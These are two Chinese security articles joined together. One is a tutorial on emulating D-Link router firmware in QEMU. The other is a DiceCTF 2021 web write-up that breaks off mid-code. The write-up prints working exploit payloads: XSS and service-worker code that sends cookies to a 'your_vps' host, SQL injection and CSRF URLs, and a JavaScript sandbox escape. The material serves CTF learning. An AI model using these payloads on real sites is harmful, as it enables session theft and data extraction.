qemu和vmware一样，一种虚拟机软件，只不过qemu能够虚拟的平台更加丰富一些。能够虚拟很多嵌入式平台的设备。
在qemu我们可以运行路由器固件，进行调试，以及漏洞挖掘。大大减少研究成本。穷人必备技能。
## 固件下载
从官网 ftp://ftp2.dlink.com/PRODUCTS/ 下载路由器固件，然后用binwalk解开固件。
## binwalk安装
解路由器固件需要用到binwalk。
本人建议下载源码，自己编译安装，这样可以安装到最新版本，还有一个原因就是 apt-get安装的binwalk会缺少很多依赖。
$ sudo apt-get update
$ sudo apt-get install build-essential autoconf git
# https://github.com/devttys0/binwalk/blob/master/INSTALL.md
$ git clone https://github.com/devttys0/binwalk.git
$ cd binwalk
# python2.7安装
$ sudo python setup.py install
# python2.7手动安装依赖库
$ sudo apt-get install python-lzma
$ sudo apt-get install python-crypto
$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$ sudo pip install pyqtgraph
$ sudo apt-get install python-pip
$ sudo pip install capstone
# Install standard extraction utilities（必选）
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS images（必选）
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)
# Install jefferson to extract JFFS2 file systems（可选）
$ sudo pip install cstruct
$ git clone https://github.com/sviehb/jefferson
$ (cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems（可选）
$ sudo apt-get install liblzo2-dev python-lzo
$ git clone https://github.com/jrspruitt/ubi_reader
$ (cd ubi_reader && sudo python setup.py install)
# Install yaffshiv to extract YAFFS file systems（可选）
$ git clone https://github.com/devttys0/yaffshiv
$ (cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files（可选）
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/
## qemu安装
git clone git://git.qemu.org/qemu.git
cd qemu
git submodule init
git submodule update --recursivesudo
apt install libglib2.0 libglib2.0-devsudo
apt install autoconf automake libtoolcd
qemu && ./configuremakesudo make install
## qemu 网络配置
qemu网络配置又有很多坑，google&度娘 各种搜索，终于解决了，解决办法如下。
手动每次配置（启动一次就要配置一次）
$ sudo apt-get install uml-utilities
$ sudo tunctl -t tap0 -u sebao
$ sudo ifconfig tap0 172.16.0.1/24
ifconfig tap0
进入qemu虚拟机再执行一次命令
sudo ifconfig eth0 172.16.0.2/24
* * *
自动配置
sudo apt-get install uml-utilities
sudo vi /etc/network/interfaces
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait 0
sebao@ubuntu:~$ sudo cat /etc/default/grub
# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
# info -f grub -n 'Simple configuration'
GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=10
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"
# Uncomment to enable BadRAM filtering, modify to suit your needs
# This works with Linux (no patch required) and with any kernel that obtains
# the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...)
#GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef"
# Uncomment to disable graphical terminal (grub-pc only)
#GRUB_TERMINAL=console
# The resolution used on graphical terminal
# note that you can use only modes which your graphic card supports via VBE
# you can see them in real GRUB with the command `vbeinfo'
#GRUB_GFXMODE=640x480
# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
#GRUB_DISABLE_LINUX_UUID=true
# Uncomment to disable generation of recovery mode menu entries
#GRUB_DISABLE_RECOVERY="true"
# Uncomment to get a beep at grub start
#GRUB_INIT_TUNE="480 440 1"
sebao@ubuntu:~$ sudo cat /etc/qemu-ifup
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "bridge networking"
sudo ifdown eth0
sudo ifup br0
echo "Bringing up $1 for bridge mode"
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 2
配置完一定要重启网卡才能生效
sudo /etc/init.d/networking restart
## qemu-mips对应包下载
<https://people.debian.org/~aurel32/qemu/mips/>
我这里下载两个包，这里要对应固件的版本进行下载。这里一定要选择大端和小端。大端和小端是根据固件的架构来选择的。
vmlinux-2.6.32-5-4kc-malta
debian_squeeze_mips_standard.qcow2
## 启动qemu
qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda
debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net
nic,macaddr=52:54:be:36:42:a9 -net tap
## D-link dir601 踩坑
解压web目录
tar zxvf mnt/www.tgz www/
cp usr/bin/my_cgi.cgi www/
直接运行http服务会报各种错误，需要手动创建文件夹，以及文件
创建文件: /var/run/lighttpd.pid
创建文件:/log/lighttpd/error.log
WWW目录下 rt文件夹里面的所有文件，移动到 www目录
chroot . usr/bin/lighttpd -f mnt/lighttpd/lighttpd.conf
57 cd ../
58 ls
59 cd squashfs-root/
60 ls
61 cd www/
62 ls
63 cd ../
64 chroot . usr/bin/lighttpd -f mnt/lighttpd/lighttpd.conf
65 cat mnt/lighttpd/lighttpd.conf | grep "lighttpd.pid"
66 cd var/
67 ls
68 mkdir run
69 ls
70 cd run
71 vi lighttpd.pid
72 cd ../../
73 chroot . usr/bin/lighttpd -f mnt/lighttpd/lighttpd.conf
77 mkdir log
78 cd log/
79 mkdir lighttpd
80 cd lighttpd/
81 vi error.log
82 cd ../../../
83 chroot . usr/bin/lighttpd -f mnt/lighttpd/lighttpd.conf
84 cd www/
85 ls
86 cd rt/
87 ls
88 cd ../
89 ls
90 ls
91 cd rt/
92 ls
93 ls -ll
94 cd ../
95 mv rt/ .
96 ls
97 mv rt/* .
启动固件
chroot . usr/bin/lighttpd -f mnt/lighttpd/lighttpd.conf
在浏览器输入 qemu虚拟机的ip 就可以进入路由器的界面了。 | 社区文章 |
# DiceCTF 2021 学习笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前阵子做了一下 Dice CTF 2021，做出了几个 XSS ，本次就写一下包括复现题在内的所有学习笔记。
## Babier CSP
### Description
[Baby CSP](https://2020.justctf.team/challenges/14) was too hard for us, try
Babier CSP.
[babier-csp.dicec.tf](https://babier-csp.dicec.tf/)
[Admin Bot](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=babier-csp)
并给出如下附件：
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
### Solution
如上我们可以看到 CSP 设置的比较严格，但是对于 nonce ，只有在一开始的时候随机初始化了一次: `const NONCE =
crypto.randomBytes(16).toString('base64');` ，所以当运行的时候，nonce 不会改变。
所以我们可以直接查看页面的 nonce ，就可以直接得到 nonce
<html>
<a href='#' id=elem>View Fruit</a>
<script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
而且注意到输入参数 name 会直接显示到 h1 标签当中，所以我们可以直接插入一个 script 标签即可执行 Javascript
代码了，这里注意一下用 url 编码把加号编码一下
然后用 vps 接一下 cookie 就行了
https://babier-csp.dicec.tf/?name=%3Cscript%20nonce%3d%22g%2bojjmb9xLfE%2b3j9PsP/Ig==%22%3Ewindow.location=%22http://your_vps/?a=%22%2bencodeURIComponent(document.cookie);%3C/script%3E
//secret=4b36b1b8e47f761263796b1defd80745
直接访问该 url ，可以拿到 flag
PS： 虽然这里说可以尝试 Adult CSP ，但是它竟然是个 Pwn 题…我就不去不自量力了。
## Missing Flavortext
### Description
Hmm, it looks like there’s no flavortext here. Can you try and find it?
[missing-flavortext.dicec.tf](https://missing-flavortext.dicec.tf/)
并给出如下附件：
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
### Solution
题目有一个比较明显的注入
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
并且获得 flag 的条件是需要该查询语句得到结果即可
if (id) return res.sendFile('flag.html', { root: __dirname });
但是数据库只存在一条记录，并且对于 admin 用户来说，密码是随机的，我们只能考虑一下怎么进行注入，使用万能密码即可，但是在前面用了一些措施过滤了单引号
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
很明显我们需要用一些方式绕过这个过滤注入单引号，可以尝试一下反斜杠，例如`username=1\&password=or 1;--`这样我们就可以构造成
SELECT id FROM users WHERE username = '1\' AND password = 'or 1;--'
但是我们尝试之后并不可以，查资料发现，sqlite 对于单引号的转义方式是通过两个单引号的形式`''`，例如：
INSERT INTO table_name (field1, field2) VALUES (123, 'Hello there''s');
所以我们需要尝试一些其他操作。后面我们可以发现使用数组进行绕过单引号的限制，例如：
var a = ["admin'"];
var b = "or 1=1;--"
[a, b].some((v) => v.includes("'")) // false
所以我们可以这么构造用户名以及密码即可: `username[]=admin'&password=or 1--`
这样得到的 sql 语句即是
SELECT id FROM users WHERE username = 'admin'' AND password = 'or 1--'
这样就可以查询得到结果了，也就可以拿到 flag 了
## Web Utils
### Description
My friend made [this dumb tool](https://web-utils.dicec.tf/); can you try and
steal his cookies? If you send me a link, [I can pass it along](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=web-utils).
题目给出了附件地址：<https://dicegang.storage.googleapis.com/uploads/d657a11ef0f129e9339a41edb9255903e74875180e9f8ced1649bf6616b5e3d1/app.zip>
### Solution
题目构造了一个这么一个场景：题目存在有两个功能点，一个功能是提供短链接服务，将用户的长链接进行转换成短链接；一个功能是提供任意文本内容存储，将用户输入的存储，并返回一个短链接。
首先对于短链接功能，通过`createLink`函数进行操作，并对用户传入的 url 有限制，只允许 http|https 协议:
const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'Invalid URL'
});
接着使用`addData`函数将其与对应随机生成的 uuid 加入数据库当中：
database.addData({ type: 'link', ...req.body, uid });
其中数据库相关操作为：
const Database = require('better-sqlite3')
const db = new Database('db.sqlite3')
const init = () => {
db.prepare(`CREATE TABLE IF NOT EXISTS data(
id INTEGER PRIMARY KEY AUTOINCREMENT,
uid TEXT,
data TEXT,
type TEXT
);`).run();
}
init();
const statements = {
getData: db.prepare(`SELECT data, type FROM data WHERE uid = ?;`),
addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`)
}
module.exports = {
getData: ({ uid }) => {
return statements.getData.get(uid);
},
addData: ({ uid, data, type }) => {
statements.addData.run(uid, data, type);
},
generateUid: (length) => {
const characters =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
const arr = [];
for (let i = 0; i < length; i++) {
arr.push(
characters.charAt(Math.floor(Math.random() * characters.length))
);
}
return arr.join('');
}
}
可以看到使用了占位符，并没有什么注入的机会。
我们在看到查看短链接时，会通过 /view/xxxxxxxx 的路由，通过该路由进行跳转，例如 /view/gyyO0ZXe ：
<!doctype html>
<html>
<head>
<script async>
(async () => {
const id = window.location.pathname.split('/')[2];
if (! id) window.location = window.origin;
const res = await fetch(`${window.origin}/api/data/${id}`);
const { data, type } = await res.json();
if (! data || ! type ) window.location = window.origin;
if (type === 'link') return window.location = data;
if (document.readyState !== "complete")
await new Promise((r) => { window.addEventListener('load', r); });
document.title = 'Paste';
document.querySelector('div').textContent = data;
})()
</script>
</head>
<body>
<div style="font-family: monospace"></div>
</bod>
</html>
进入到该页面后通过 /api/data/xxxxxxxx 获取链接内容，例如 /api/data/gyyO0ZXe 得到一个 json ：
{"statusCode":200,"data":"http://baidu.com","type":"link"}
然后我们可以看到页面使用 `window.location` 的方式进行 url 跳转实现短链接的功能。
再看到 Paste 内容存储功能，通过`createPaste`
函数进行操作，对用户传入的数据并没有限制，并且与短链接存储方式使用相同的`addData`函数进行操作插入数据库：
database.addData({ type: 'paste', ...req.body, uid });
查看的时候也使用与短链接同样的形式，例如： /view/doKS38NE ，通过 /api/data/doKS38NE 获取内容 json ：
{"statusCode":200,"data":"wuhu","type":"paste"}
由页面 JS 通过 `document.querySelector('div').textContent = data;` 的形式输出的页面上。
由题目形式知道，这题必然是一个 XSS
的题目，虽然我们可以存储任意内容，但是使用`textContent`输出的内容会自动将标签符号进行转义，并且输出点还在一个 div 标签内，无法直接进行
XSS
并且纵观整个 /view 的页面内容，这几乎是我们可以进行 XSS
唯一的地方，仔细审计我们找到通过`window.location=javascript:alert(1)`的形式执行 javascript
代码，但是使用该功能的前提是需要短链接的形式，并且短链接开头只能由 http|https 开头，并不能使用 javascript
，并且是使用了`RegExp('^https?://')`的正则形式，我们并不能直接绕过这个正则，所以我们需要找个什么办法绕过这个限制。
在数据库操作我们注意到两个操作方式都使用的是同一个函数`addData`，该函数是通过`type`参数来判断插入的类型内容，并且我们注意到两个功能传入该函数都使用的是
`...req.body`
三个点这个操作符是一个展开语法，叫做 Spread syntax ，可以在函数调用/数组构造时, 将数组表达式或者 string
在语法层面展开；还可以在构造字面量对象时, 将对象表达式按 key-value 的方式展开。例如：
function sum(x, y, z) {
return x + y + z;
}
const numbers = [1, 2, 3];
console.log(sum(...numbers));
// expected output: 6
console.log(sum.apply(null, numbers));
// expected output: 6
对于`...req.body`，我们不难想到如果我们使用相同的 key ，会怎么样呢？例如
function addData({ uid, data, type }) {
console.log(uid, data, type);
}
var uid = "uid";
var a = { data: "wuhu", type: "link" };
addData({ type: "paste", ...a, uid });
// output: uid wuhu link
可以看到我们使用一个自己的 type 字段覆盖了之前的 type 字段，这样我们就可以成功控制插入的类型。所以我们大概可以有个思路：我们通过构造一个有
`type: "link"` 的特殊 json ，利用`createPaste`函数帮我们插入一个 link
类型的数据，这样得到的短链接内容就是一个我们可以自己控制内容的 link 类型的了。
所以我们可以在 `createPaste` 的 API 再传入一个 `type: 'link'` ，这样就可以覆盖掉了前面的 `type: 'paste'`
就可以得到一个触发 XSS 的短链接了
{"data":"javascript:window.location='https://your_vps/?a='+encodeURIComponent(document.cookie);","type":"link"}
这样再将得到的链接地址，使用 /view API 发给 admin 看就可以拿到 flag 了，例如我们在给 createPaste API
发送以上内容后，得到的是
{"statusCode":200,"data":"otEJvitt"}
这时再将 <http://web-utils.dicec.tf/view/otEJvitt> 发给 admin 就可以了
## Build a Panel
### Description
You can never have too many widgets and BAP organization is the future. If you
experience any issues, send it [here](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=build-a-panel)
Site: [build-a-panel.dicec.tf](https://build-a-panel.dicec.tf/)
附件地址：<https://dicegang.storage.googleapis.com/uploads/b954888e226bfe569e646705d4cd1804e2bb50b1bd9aa0a8ae337acdbd74b175/build-a-panel.tar.gz>
### Solution
在做这个题的时候，已经放出了这个题目的 Fixed 版本 Build a Better Panel
，众所周知，这种情况肯定是有非预期了，而且非预期还可能异常简单。所以我们把 Fixed 版本的题目附件下下来 diff 一下，就可以发现一些蛛丝马迹了。
其中经过 diff 之后我们发现主要修改的地方就是将 admin cookie 中的 `sameSite: 'lax'` 改成了 `sameSite:
'strict'`，如果不了解 sameSite Cookie，我们可以简单看一下介绍 [SameSite
Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie/SameSite)
> `SameSite` 接受下面三个值：
>
> **Lax**
>
> Cookies允许与顶级导航一起发送，并将与第三方网站发起的GET请求一起发送。这是浏览器中的默认值。
>
> **Strict**
>
> Cookies只会在第一方上下文中发送，不会与第三方网站发起的请求一起发送。
>
> **None**
>
> Cookie将在所有上下文中发送，即允许跨域发送。
>
> 以前 `None` 是默认值，但最近的浏览器版本将 `Lax` 作为默认值，以便对某些类型的跨站请求伪造
> （[CSRF](https://developer.mozilla.org/zh-CN/docs/Glossary/CSRF)）
> 攻击具有相当强的防御能力。
>
> 使用 `None` 时，需在最新的浏览器版本中使用 [`Secure`](https://wiki.developer.mozilla.org/zh-> CN/docs/Web/HTTP/Headers/Set-Cookie) 属性。更多信息见下文。
这里我们可以看到本题 samesite 是设置了 lax ，意味着可能会有潜在的 CSRF 。
并且我们可以看到题目给我们的附件中， flag 是一开始就被插入到了数据库当中：
query = `CREATE TABLE IF NOT EXISTS flag (
flag TEXT
)`;
db.run(query, [], (err) => {
if(!err){
let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
db.run(innerQuery);
}else{
console.error('Could not create flag table');
}
});
所以我们可以尝试去看看是不是有什么注入点，接着审计我们就注意到：
app.get('/admin/debug/add_widget', async (req, res) => {
const cookies = req.cookies;
const queryParams = req.query;
if(cookies['token'] && cookies['token'] == secret_token){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
db.run(query, (err) => {
if(err){
console.log(err);
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
res.redirect('/');
}
});
虽然有 admin 才能操作的限制，但是这里也是比较明显的一个存在注入的地方，没什么过滤，我们可以直接闭合单引号就可以直接注了。flag
我们可以通过`(SELECT flag from flag)`子查询的方式获得，再看看我们应该怎么查看插入的数据，审计代码其中有一个查看的 API 是：
app.post('/panel/widgets', (req, res) => {
const cookies = req.cookies;
if(cookies['panelId']){
const panelId = cookies['panelId'];
query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
db.all(query, [panelId], (err, rows) => {
if(!err){
let panelWidgets = {};
for(let row of rows){
try{
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
}catch{
}
}
res.json(panelWidgets);
}else{
res.send('something went wrong');
}
});
}
});
这里没有 admin 的限制，通过这个路由我们可以通过 cookie 中的 panelId 来查询对应的 widgetdata
，并且有直接的回显，不过我们需要让查询得到的`row['widgetdata']`满足 JSON 的格式，这样才不会让`JSON.parse`函数出错。
所以我们大概又这么个思路，构造`panelid=foo',(SELECT+flag+from+flag),'{"type"%3a"sss"}>')%3b--&widgetname=1&widgetdata=1`，这样我们得到的
sqlite 语句就是
INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('foo',(SELECT flag from flag),'{"type":"sss"}');--', '1', '1');
然后通过设置 cookie 为`panelId=foo`，通过`/panel/widgets`路由查询得到 flag
接下来需要做的就是怎么通过`/admin/debug/add_widget`路由的 admin 的前提条件，因为本题是个 XSS 题目，可以让 bot
访问我们的链接，并且在前面我们注意到 sameSite 设置为了 lax ，所以我们似乎可以通过让 admin 直接访问我们构造的如下的 url ，让
admin 帮我们插入这个数据，完成一次 CSRF 攻击。
https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=foo',(SELECT+flag+from+flag),'{"type"%3a"sss"}')%3b--&widgetname=1&widgetdata=1
然后我们带着`panelId=foo`的 Cookie 访问`/panel/widgets`即可：
## Web IDE
### Description
Work on JavaScript projects directly in your browser! Make something cool?
Send it [here](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=web-ide)
[web-ide.dicec.tf](https://web-ide.dicec.tf/)
题目附件：
const express = require('express');
const crypto = require('crypto');
const app = express();
const adminPassword = crypto.randomBytes(16).toString('hex');
const bodyParser = require('body-parser');
app.use(require('cookie-parser')());
// don't let people iframe
app.use('/', (req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
return next();
});
// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
// we have to allow this for obvious reasons
res.removeHeader('X-Frame-Options');
return next();
});
// serve static files
app.use(express.static('public/root'));
app.use('/login', express.static('public/login'));
// handle login endpoint
app.use('/ide/login', bodyParser.urlencoded({ extended: false }));
app.post('/ide/login', (req, res) => {
const { user, password } = req.body;
switch (user) {
case 'guest':
return res.cookie('token', 'guest', {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
case 'admin':
if (password === adminPassword)
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
break;
}
res.status(401).end();
});
// handle file saving
app.use('/ide/save', bodyParser.raw({
extended: false,
limit: '32kb',
type: 'application/javascript'
}));
const files = new Map();
app.post('/ide/save', (req, res) => {
// only admins can save files
if (req.cookies.token !== `dice{${process.env.FLAG}}`)
return res.status(401).end();
const data = req.body;
const id = `${crypto.randomBytes(8).toString('hex')}.js`;
files.set(id, data);
res.type('text/plain').send(id).end();
});
app.get('/ide/saves/:id', (req, res) => {
// only admins can view files
if (req.cookies.token !== `dice{${process.env.FLAG}}`)
return res.status(401).end();
const data = files.get(req.params.id);
if (!data) return res.status(404).end();
res.type('application/javascript').send(data).end();
});
// serve static files at ide, but auth first
app.use('/ide', (req, res, next) => {
switch (req.cookies.token) {
case 'guest':
return next();
case `dice{${process.env.FLAG}}`:
return next();
default:
return res.redirect('/login');
}
});
app.use('/ide', express.static('public/ide'));
app.listen(3000);
### Solution
也还是一个 XSS 题，admin Cookie 就是 flag ，提供一些用户内容存储功能，但是由于只能保存为 js 文件，并且查看内容的 API
设置了`res.type('application/javascript').send(data).end();`，意味着无法直接执行 js 代码进行
XSS
再看到整体的功能，在 /ide/ 路由下存在一个页面可以执行一些 javascript 代码：
index.html
<!doctype html>
<html>
<head>
<title>Web IDE</title>
<link rel="stylesheet" href="src/styles.css"/>
<script src="src/index.js"></script>
</head>
<body>
<div id="editor">
<textarea>console.log('Hello World!');</textarea>
<iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
<br />
<button id="run">Run Code</button>
<button id="save">Save Code (Admin Only)</button>
</div>
</body>
</html>
index.js
(async () => {
await new Promise((r) => { window.addEventListener(('load'), r); });
document.getElementById('run').addEventListener('click', () => {
document.querySelector('iframe')
.contentWindow
.postMessage(document.querySelector('textarea').value, '*');
});
document.getElementById('save').addEventListener('click', async () => {
const response = await fetch('/ide/save', {
method: 'POST',
body: document.querySelector('textarea').value,
headers: {
'Content-Type': 'application/javascript'
}
});
if (response.status === 200) {
window.location = `/ide/saves/${await response.text()}`;
return;
}
alert('You are not an admin.');
});
})();
我们可以看到该页面主要功能就是获取用户输入，将其使用`postMessage`函数发送给上级目录的 sandbox.html ，我们在看到
sandbox.html 页面内容主要由一个 sandbox.js 组成：
(async () => {
await new Promise((r) => { window.addEventListener(('load'), r); });
const log = (data) => {
const element = document.createElement('p');
element.textContent = data.toString();
document.querySelector('div').appendChild(element);
window.scrollTo(0, document.body.scrollHeight);
};
const safeEval = (d) => (function (data) {
with (new Proxy(window, {
get: (t, p) => {
if (p === 'console') return { log };
if (p === 'eval') return window.eval;
return undefined;
}
})) {
eval(data);
}
}).call(Object.create(null), d);
window.addEventListener('message', (event) => {
const div = document.querySelector('div');
if (div) document.body.removeChild(div);
document.body.appendChild(document.createElement('div'));
try {
safeEval(event.data);
} catch (e) {
log(e);
}
});
})();
主要内容就是获取`postMessage`得到的内容，并将其放入到`safeEval`函数中进行执行，其中使用了`Proxy`类创建了一个类似沙箱的功能，只能执行有限的
js 代码:
with (new Proxy(window, {
get: (t, p) => {
if (p === 'console') return { log };
if (p === 'eval') return window.eval;
return undefined;
}
})) {
eval(data);
}
所以我们需要绕过这个限制，根据以往的绕过沙箱的老套路，我们可以尝试传入一个 window
对象，通过`"".constructor.constructor("return this")()`获取到 window 对象，我们可以直接在其中执行 js
代码，例如：
"".constructor.constructor("console.log(window.location)")()
因为 sandbox.html 在接受 message 没有验证 origin
，所以我们可以自己本地弄一个页面`postMessage`验证是否是成功在他的域名上执行了 js 代码：
<iframe
id="f"
src="https://web-ide-v2.dicec.tf/sandbox.html"
sandbox="allow-scripts"
frameborder="0"
></iframe>
<script>
f.addEventListener("load", () => {
f.contentWindow.postMessage(
`"".constructor.constructor("console.log(window.location)")()`,
"*"
);
});
</script>
所以根据下图的实验结果显示，我们是可以绕过了其 sandbox 成功执行了 js 代码
接下来我们就需要看看怎么获取 flag 了，在题目附件中我们看到：
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
这里光绕过 sandbox 执行 js 还不够，还需要在 /ide 路径下执行，否则在 sanbox 执行的 js 不能直接获取到 /ide 路径下的
cookie ，接下来我想到的非预期就是通过 sandbox 使用`window.open`打开一个 /ide 页面，然后再获取其 cookie
，大致代码如下：
var opener = window.open("https://web-ide.dicec.tf/sandbox.html");
setTimeout(function () {
var data = `"".constructor.constructor('var opener = window.open("https://web-ide.dicec.tf/ide/");setTimeout(function(){window.location = "https://your_vps/?a="+ encodeURIComponent(opener.document.cookie);},1000)')()`;
opener.postMessage(data, "*");
}, 1000);
其中`setTimeout`是为了等页面加载出来，比较懒的做法。直接在你的 vps 上放置含有如上 js 代码的 html 页面，让 admin
访问你的页面，就可以收到 cookie 了。
这里如果你直接用 chrome 来试的话会因为没有用户交互被直接拦截弹窗，但是我试的时候用的是 burp 自带的 chromium
，而且题目可能也没处理好弹窗限制，导致了这个非预期。
### Author Intended Solution
其中这个题的预期解是使用 ServiceWorker ，虽然存储路由可以存储任意 javascript 代码但是因为 content-type
没办法执行，我们可以利用 service-worker 将其注册成为一个 sw ，然后可以通过拦截 fetch 请求来实现我们将 cookie
外带的一个效果，具体代码如下
<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
f.addEventListener('load', () => {
f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", {
"headers": {
"content-type": "application/javascript",
},
"body": "self.addEventListener('fetch', e=>{if (e.request.method != 'GET') {return;} e.respondWith(new Response('<script>navigator.sendBeacon(\\\\\\\\'your_vps\\\\\\\\', document.cookie)</sc'+'ript>',{headers:{\\\\'content-type\\\\':\\\\'text/html\\\\'}}));});",
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(response=>response.text()).then(path=>{[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, {scope: '/ide/saves/'})});`, '*');
setTimeout(() => {location = 'https://web-ide.dicec.tf/ide/saves/'}, 1000)
})
</script>
PS:注意 body 当中反斜杠转义的个数，盲猜安全客的转义机制会把反斜杠给弄掉几个…
## Build a Better Panel
### Description
BAP wasn’t secure enough. Now the admin is a bit smarter, see if you can still
get the flag! If you experience any issues, send it [here](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=build-a-better-panel)
NOTE: The admin will only visit sites that match the following regex
`^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$`
Site: [build-a-better-panel.dicec.tf](https://build-a-better-panel.dicec.tf/)
附件地址：<https://dicegang.storage.googleapis.com/uploads/ad5561c4f54908fb3457825fe9cdec9d8d23b7599d0f088689628d6bc92b4ff1/build-a-better-panel.tar.gz>
### Solution
按照上文对第一个版本的做法，这题增加了两个限制，一个就是 sameSite 改成了 strict ，还有一个就是只允许 admin 访问 /create
路由了。
app.get('/create', (req, res) => {
const cookies = req.cookies;
const queryParams = req.query;
if(!cookies['panelId']){
const newPanelId = queryParams['debugid'] || uuidv4();
res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'strict'});
}
res.redirect('/panel/');
});
app.get('/panel/', (req, res) => {
const cookies = req.cookies;
if(cookies['panelId']){
res.render('pages/panel');
}else{
res.redirect('/');
}
});
/create 路由会根据我们传入的 debugid 跳转到对应的 panel 界面，panel 界面主要根据对应的 id 来构造页面内容，其中主要的 js
代码如下：
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
